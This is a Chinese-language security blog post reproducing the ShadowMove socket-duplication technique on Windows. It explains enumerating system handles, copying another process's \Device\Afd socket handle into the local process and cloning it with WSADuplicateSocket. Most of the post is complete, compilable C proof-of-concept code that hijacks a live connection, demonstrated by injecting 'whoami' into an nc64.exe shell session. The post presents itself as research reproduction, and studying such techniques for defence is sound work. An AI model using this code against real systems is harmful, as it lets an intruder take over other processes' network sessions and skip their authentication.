idiotc4t's blog
搜索文档…
GitBook 提供支持
ShadowMove复现与思考

简介

前段时间有几位老哥联名发了一篇论文,这篇论文描述了一种复制套接字劫持网络连接的技术,本文旨在于简单分析复现这种技术,如有错误欢迎指正。
作者给出的理论图如下,通过创建两个基于原套接字复制的套接字,定期挂起原套接字接收和响应特殊的数据包。

复现过程

尽管windows本身提供了WSADuplicateSocket函数,但是这个函数需要本地进程的socks句柄,而句柄只在本地进程才有意义,这篇文章的作者提出了一种从远程复制句柄技术的变体。
作者发现套接字的句柄等同于的名为\Device\Afd文件句柄,这个句柄可以直接视为socks使用(虽然就是同一个,但说还是这么说),我们可以通过常规的句柄枚举技术从远程进程得到它,然后使用NtDuplicateObject函数将它复制到本地进程,本地进程再通过WSADuplicateSocket获取克隆套接字需要的参数,然后我们可以像使用自己的socket一样使用这个克隆过来的socket了。
在github有0xcpu师傅分享了一份ShadowMove的代码,这里我做了一点简化。
首先师傅获取了系统的所有句柄。
1
//获取系统内所有句柄
2
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
3
while (pNtQuerySystemInformation(SystemHandleInformation,
4
pSysHandleInfo,
5
SystemInformationLength,
6
&ReturnLength) == STATUS_INFO_LENGTH_MISMATCH) {
7
free(pSysHandleInfo);
8
SystemInformationLength = ReturnLength;
9
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
10
}
11
Copied!
获取句柄之后将所有句柄克隆到了当前进程(句柄只有在本地进程才有意义),对这个句柄的类型做了一个判断。(这里我简单的做了一个优化,作者的源代码是判断所有句柄类型不等于0x28的句柄,其实所有\drivice\开头的文件句柄都是OB_TYPE_DEVICE, // 25,设备类型)。
1
2
for (size_t i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
3
{
4
//句柄只在拥有者进程内有意义,所以这里需要通过NtDuplicateObject函数将句柄复制到当前进程
5
if (pSysHandleInfo->Handles[i].ObjectTypeIndex == 25) {
6
ntStatus = pNtDuplicateObject(hProcess,
7
(HANDLE)pSysHandleInfo->Handles[i].HandleValue,
8
GetCurrentProcess(),
9
&TargetHandle,
10
PROCESS_ALL_ACCESS,
11
FALSE,
12
DUPLICATE_SAME_ACCESS);
13
14
if (ntStatus == STATUS_SUCCESS) {
15
pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
16
17
if (NULL == pObjNameInfo) {
18
CloseHandle(TargetHandle);
19
free(pSysHandleInfo);
20
pSysHandleInfo = NULL;
21
22
return TargetSocket;
23
}
Copied!
随后比较简单的通过NtQueryObject函数查询句柄描述对象的部分属性,我们知道windows系统是对象驱动的,而在三环描述对象的是句柄,我们可以通过句柄查询一下句柄所描述对象的属性,这里查询了对象的设备描述符。
1
//查询指定句柄的部分属性,返回结果为OBJECT_NAME_INFORMATION的结构体
2
while (pNtQueryObject(TargetHandle,
3
(OBJECT_INFORMATION_CLASS)ObjectNameInformation,
4
pObjNameInfo,
5
ObjectInformationLength,
6
&ReturnLength) == STATUS_INFO_LENGTH_MISMATCH)
7
{
8
free(pObjNameInfo);
9
ObjectInformationLength = ReturnLength;
10
pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
11
if (NULL == pObjNameInfo) {
12
CloseHandle(TargetHandle);
13
free(pSysHandleInfo);
14
pSysHandleInfo = NULL;
15
16
return TargetSocket;
17
}
18
}
19
//判断句柄符号名是否为\\Device\\Afd,这个描述名的句柄等同于socks句柄
20
if ((pObjNameInfo->Name.Length / 2) == wcslen(pcwDeviceAfd)) {
21
if ((wcsncmp(pObjNameInfo->Name.Buffer, pcwDeviceAfd, wcslen(pcwDeviceAfd)) == 0) &&//内存对比
22
IsTargetIPAndPort(TargetHandle, pIpAddress, dwPort)) { //如果这个句柄的对端地址和端口等同于输入,那就找到了。
Copied!
最后这个师傅就直接开始复制套接字。
1
WsaErr = WSADuplicateSocketW((SOCKET)TargetHandle, GetCurrentProcessId(), &WsaProtocolInfo);
2
//返回一个用于创建共享套接字的结构体WSAPROTOCOL_INFOW。
3
if (WsaErr != 0) {
4
CloseHandle(TargetHandle);
5
free(pObjNameInfo);
6
free(pSysHandleInfo);
7
pSysHandleInfo = NULL;
8
pObjNameInfo = NULL;
9
return TargetSocket;
10
} else {
11
//通过获取的WSAPROTOCOL_INFOW结构体创建一个新的socks。
12
TargetSocket = WSASocket(WsaProtocolInfo.iAddressFamily,
13
WsaProtocolInfo.iSocketType,
14
WsaProtocolInfo.iProtocol,
15
&WsaProtocolInfo,
16
0,
17
WSA_FLAG_OVERLAPPED);
18
if (TargetSocket != INVALID_SOCKET) {
19
fwprintf(stdout, L"[OK] Socket was duplicated!\n");
20
CloseHandle(TargetHandle);
21
free(pObjNameInfo);
22
free(pSysHandleInfo);
23
pObjNameInfo = NULL;
24
pSysHandleInfo = NULL;
25
26
return TargetSocket;
27
}
28
}
29
}
30
}
31
32
CloseHandle(TargetHandle);
33
free(pObjNameInfo);
34
pObjNameInfo = NULL;
35
}
36
}
37
}
Copied!

完整代码

1
#pragma once
2
3
#include <WinSock2.h>
4
#include <Windows.h>
5
#include <stdio.h>
6
#include <inttypes.h>
7
#include <assert.h>
8
#include <winternl.h>
9
#include <Tlhelp32.h>
10
11
#define SystemHandleInformation 0x10
12
#define ObjectNameInformation 1
13
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
14
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
15
16
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
17
ULONG UniqueProcessId;
18
UCHAR ObjectTypeIndex;
19
UCHAR HandleAttributes;
20
USHORT HandleValue;
21
PVOID Object;
22
ULONG GrantedAccess;
23
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
24
25
typedef struct _SYSTEM_HANDLE_INFORMATION {
26
ULONG NumberOfHandles;
27
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
28
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
29
30
31
typedef struct _OBJECT_NAME_INFORMATION
32
{
33
UNICODE_STRING Name;
34
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;
35
36
typedef long (*NTDUPLICATEOBJECT)(HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, BOOLEAN, ULONG);
37
typedef NTSTATUS(*NTQUERYSYSTEMINFORMATION)(
38
ULONG SystemInformationClass,
39
PVOID SystemInformation,
40
ULONG SystemInformationLength,
41
PULONG ReturnLength);
42
typedef NTSTATUS(*NTQUERYOBJECT)(
43
HANDLE Handle,
44
OBJECT_INFORMATION_CLASS ObjectInformationClass,
45
PVOID ObjectInformation,
46
ULONG ObjectInformationLength,
47
PULONG ReturnLength
48
);
49
50
NTDUPLICATEOBJECT pNtDuplicateObject;
51
NTQUERYSYSTEMINFORMATION pNtQuerySystemInformation;
52
NTQUERYOBJECT pNtQueryObject;
53
Copied!
1
#include "winsmsd.h"
2
3
4
BOOL Init(VOID)
5
{
6
7
WSADATA WsaData;
8
9
10
WSAStartup(MAKEWORD(2, 2), &WsaData);
11
12
pNtDuplicateObject = (NTDUPLICATEOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDuplicateObject");
13
pNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
14
pNtQueryObject = (NTQUERYOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryObject");
15
16
if (pNtDuplicateObject && pNtQuerySystemInformation && pNtQueryObject) {
17
return TRUE;
18
}
19
else {
20
WSACleanup();
21
22
return FALSE;
23
}
24
}
25
26
27
BOOL IsTargetIPAndPort(HANDLE hSocket, PBYTE TargetIp, USHORT TargetPort)
28
{
29
INT ret;
30
SOCKADDR_IN SockAddr;
31
INT NameLen = sizeof(SOCKADDR_IN);
32
33
ret = getpeername((SOCKET)hSocket, (PSOCKADDR)&SockAddr, &NameLen);
34
if (ret != 0) {
35
fwprintf(stderr, L"Failed to retrieve address of peer: %d\n", ret);
36
return FALSE;
37
} else {
38
fwprintf(stdout, L"Address: %u.%u.%u.%u Port: %hu\n",
39
SockAddr.sin_addr.S_un.S_un_b.s_b1,
40
SockAddr.sin_addr.S_un.S_un_b.s_b2,
41
SockAddr.sin_addr.S_un.S_un_b.s_b3,
42
SockAddr.sin_addr.S_un.S_un_b.s_b4,
43
ntohs(SockAddr.sin_port));
44
45
if (memcmp((PVOID)&SockAddr.sin_addr.S_un.S_un_b, (PVOID)TargetIp, 4) == 0 &&
46
ntohs(SockAddr.sin_port) == TargetPort) {
47
return TRUE;
48
} else {
49
return FALSE;
50
}
51
}
52
}
53
54
SOCKET GetSocket(HANDLE hProcess, PBYTE pIpAddress, USHORT dwPort)
55
{
56
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = NULL;
57
POBJECT_NAME_INFORMATION pObjNameInfo = NULL;
58
ULONG SystemInformationLength = 0;
59
ULONG ObjectInformationLength = 0;
60
ULONG ReturnLength;
61
HANDLE TargetHandle = INVALID_HANDLE_VALUE;
62
SOCKET TargetSocket = INVALID_SOCKET;
63
NTSTATUS ntStatus;
64
PCWSTR pcwDeviceAfd = L"\\Device\\Afd";
65
INT WsaErr;
66
WSAPROTOCOL_INFOW WsaProtocolInfo = { 0 };
67
68
//获取系统内所有句柄
69
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
70
while (pNtQuerySystemInformation(SystemHandleInformation,
71
pSysHandleInfo,
72
SystemInformationLength,
73
&ReturnLength) == STATUS_INFO_LENGTH_MISMATCH) {
74
free(pSysHandleInfo);
75
SystemInformationLength = ReturnLength;
76
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
77
}
78
79
for (size_t i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
80
{
81
//句柄只在拥有者进程内有意义,所以这里需要通过NtDuplicateObject函数将句柄复制到当前进程
82
if (pSysHandleInfo->Handles[i].ObjectTypeIndex == 25) {
83
ntStatus = pNtDuplicateObject(hProcess,
84
(HANDLE)pSysHandleInfo->Handles[i].HandleValue,
85
GetCurrentProcess(),
86
&TargetHandle,
87
PROCESS_ALL_ACCESS,
88
FALSE,
89
DUPLICATE_SAME_ACCESS);
90
91
if (ntStatus == STATUS_SUCCESS) {
92
pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
93
94
if (NULL == pObjNameInfo) {
95
CloseHandle(TargetHandle);
96
free(pSysHandleInfo);
97
pSysHandleInfo = NULL;
98
99
return TargetSocket;
100
}
101
//查询指定句柄的部分属性,返回结果为OBJECT_NAME_INFORMATION的结构体
102
while (pNtQueryObject(TargetHandle,
103
(OBJECT_INFORMATION_CLASS)ObjectNameInformation,
104
pObjNameInfo,
105
ObjectInformationLength,
106
&ReturnLength) == STATUS_INFO_LENGTH_MISMATCH)
107
{
108
free(pObjNameInfo);
109
ObjectInformationLength = ReturnLength;
110
pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
111
if (NULL == pObjNameInfo) {
112
CloseHandle(TargetHandle);
113
free(pSysHandleInfo);
114
pSysHandleInfo = NULL;
115
116
return TargetSocket;
117
}
118
}
119
//判断句柄符号名是否为\\Device\\Afd,这个描述名的句柄等同于socks句柄
120
if ((pObjNameInfo->Name.Length / 2) == wcslen(pcwDeviceAfd)) {
121
if ((wcsncmp(pObjNameInfo->Name.Buffer, pcwDeviceAfd, wcslen(pcwDeviceAfd)) == 0) &&//内存对比
122
IsTargetIPAndPort(TargetHandle, pIpAddress, dwPort)) { //如果这个句柄的对端地址和端口等同于输入,那就找到了。
123
WsaErr = WSADuplicateSocketW((SOCKET)TargetHandle, GetCurrentProcessId(), &WsaProtocolInfo);
124
//返回一个用于创建共享套接字的结构体WSAPROTOCOL_INFOW。
125
if (WsaErr != 0) {
126
CloseHandle(TargetHandle);
127
free(pObjNameInfo);
128
free(pSysHandleInfo);
129
pSysHandleInfo = NULL;
130
pObjNameInfo = NULL;
131
return TargetSocket;
132
} else {
133
//通过获取的WSAPROTOCOL_INFOW结构体创建一个新的socks。
134
TargetSocket = WSASocket(WsaProtocolInfo.iAddressFamily,
135
WsaProtocolInfo.iSocketType,
136
WsaProtocolInfo.iProtocol,
137
&WsaProtocolInfo,
138
0,
139
WSA_FLAG_OVERLAPPED);
140
if (TargetSocket != INVALID_SOCKET) {
141
fwprintf(stdout, L"[OK] Socket was duplicated!\n");
142
CloseHandle(TargetHandle);
143
free(pObjNameInfo);
144
free(pSysHandleInfo);
145
pObjNameInfo = NULL;
146
pSysHandleInfo = NULL;
147
148
return TargetSocket;
149
}
150
}
151
}
152
}
153
154
CloseHandle(TargetHandle);
155
free(pObjNameInfo);
156
pObjNameInfo = NULL;
157
}
158
}
159
}
160
161
free(pSysHandleInfo);
162
163
return TargetSocket;
164
}
165
166
167
168
DWORD WINAPI ThreadProc(LPVOID lpParam)
169
{
170
Sleep(3000);
171
char msg[] = "whoami";
172
send((SOCKET)lpParam, msg, sizeof(msg), MSG_OOB);
173
return 0;
174
}
175
176
int main(int argc, char** argv)
177
{
178
DWORD dwPid;
179
USHORT uPort;
180
BYTE IpAddress[4] = { 0 };
181
HANDLE hProc;
182
PCHAR pToken = NULL;
183
PCHAR Ptr;
184
SIZE_T i = 0;
185
186
187
Init();
188
189
dwPid = strtoul(argv[1], NULL, 10);
190
uPort = (USHORT)strtoul(argv[3], NULL, 10);
191
pToken = strtok_s(argv[2], ".", &Ptr);
192
while (pToken && i < 4) {
193
IpAddress[i] = (BYTE)strtoul(pToken, NULL, 10);
194
pToken = strtok_s(NULL, ".", &Ptr);
195
i++;
196
}
197
198
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
199
if (hSnapshot == INVALID_HANDLE_VALUE)
200
{
201
return 0;
202
}
203
204
PROCESSENTRY32 pe;
205
pe.dwSize = sizeof pe;
206
207
if (Process32First(hSnapshot, &pe))
208
{
209
do {
210
if (lstrcmpi(L"nc64.exe", pe.szExeFile) == 0)
211
{
212
CloseHandle(hSnapshot);
213
dwPid= pe.th32ProcessID;
214
break;
215
}
216
} while (Process32Next(hSnapshot, &pe));
217
}
218
219
220
221
hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwPid);
222
223
224
BYTE Buff[128] = { 0 };
225
SOCKET NewSocket = GetSocket(hProc, IpAddress, uPort);
226
227
HANDLE hTHread = CreateThread(0, 0, ThreadProc, NewSocket, 0, 0);
228
229
if (NewSocket != INVALID_SOCKET) {
230
while (recv(NewSocket, Buff, 128, MSG_PEEK) == -1);
231
printf("%s", Buff);
232
233
closesocket(NewSocket);
234
}
235
CloseHandle(hProc);
236
CloseHandle(hSnapshot);
237
WSACleanup();
238
return 0;
239
}
240
Copied!

复现和思考

这种技术理论上只能应用于明文传输的协议,如Telnet、ftp,劫持连接后我们通常能直接掠过身份认证的过程,这里我们起一个nc的bash控制口做一个测试。
我们先在kali上起一个服务端,然后使用nc去连接。
之后运行我们的poc,由于套接字的处理是异步的,我们需要另起一个线程去发送命令,然后使用主线程接收。
1
DWORD WINAPI ThreadProc(LPVOID lpParam)
2
{
3
Sleep(3000);
4
char msg[] = "whoami";
5
send((SOCKET)lpParam, msg, sizeof(msg), MSG_OOB);
6
return 0;
7
}
8
9
HANDLE hTHread = CreateThread(0, 0, ThreadProc, NewSocket, 0, 0);
Copied!
可以看到主副socket都接收到了命令的结果,如果我们不想要主套接字接收到,我们可以直接挂起或者干掉它来接管这个网络连接。

LINKS

GitHub - 0xcpu/winsmsd: Windows (ShadowMove) Socket Duplication
GitHub
原文如下:
最近更新 10mo ago